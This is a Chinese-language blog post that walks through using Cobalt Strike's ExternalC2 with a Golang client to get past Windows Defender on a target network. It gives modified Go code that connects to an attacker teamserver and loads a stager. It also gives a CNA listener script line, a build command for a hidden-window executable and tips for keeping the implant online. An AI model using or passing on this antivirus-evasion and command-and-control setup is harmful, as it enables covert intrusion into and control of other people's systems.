2020年1月

Cs利用ExternalC2 绕过AV

Blog:http://blog.f5.pm/

写在前面

此前遇到一个最新版的Windows Defender,一直想上Cs打内网方便一点,但是奈何一直绕不过去,大概试了这些方法

1. Veil Go/C#/Psh shellcode loader
2. Floov shellcode loader
3. GSL shellcode loader
4. Darkarmour 混淆
5. Powershell混淆
6. 等等payload加载器

然后最近看文章发现俩个东西(感谢俩位开发者):
https://github.com/gloxec/CrossC2
https://github.com/Lz1y/GECC/

这是俩个Cs的ExternalC2,cs除了默认内置的控制方式以外还支持自定义c2的开发

第一个CrossC2是一个支持Linux系统的客户端,不过不太完善支持shell操作
第二个是一个Golang开发的windows的客户端,理论上来说之前通过研究发现Defender拦截的是启动时候的打头马,和上线之后发送的stage,如果使用自定义的c2,那么stage的特征就变了就可以达到绕过Defender等其他Av的目的

修改代码

先修改一下Main.go中的代码,把8.8.8.8改成你自己的teamserver就可以了

func main() {
    conn, err := net.Dial("tcp", "8.8.8.8:2222")
    if err != nil {
        println(err.Error())
        return
    }
    a := &SocketChannel{conn, isDebug}

    stager := a.getStager()

我这里修改成了从参数加载,省的以后重新编译了

import (
    "encoding/base64"
    "encoding/binary"
    "fmt"
    "log"
    "net"
    "os" //加一个这个
    "runtime"
    "time"

    "./invokedll"
    . "github.com/microsoft/go-winio"
)
....
func main() {
    conn, err := net.Dial("tcp", os.Args[1]) 
    //参数还可以做一下加密处理,防止直接看到teamserver的地址

然后新建一个cna脚本,端口就是上面的端口

externalc2_start("0.0.0.0",2222)

安装编译

该程序似乎不能跨平台编译,所以需要一台window环境
需要安装:Golang,MingW-w64

然后打开Mingw切换到项目目录编译就可以了

C:\Program Files\mingw-w64\x86_64-8.1.0-posix-seh-rt_v6-rev0\mingw-w64.bat

go build -o bin/win.exe -ldflags "-H=windowsgui -s -w" main.go

成功上线
首次上线的时候没有外网IP,还有扫描的时候会掉线,lasttime也不会更新,可以直接spawn一个新的listener就可以了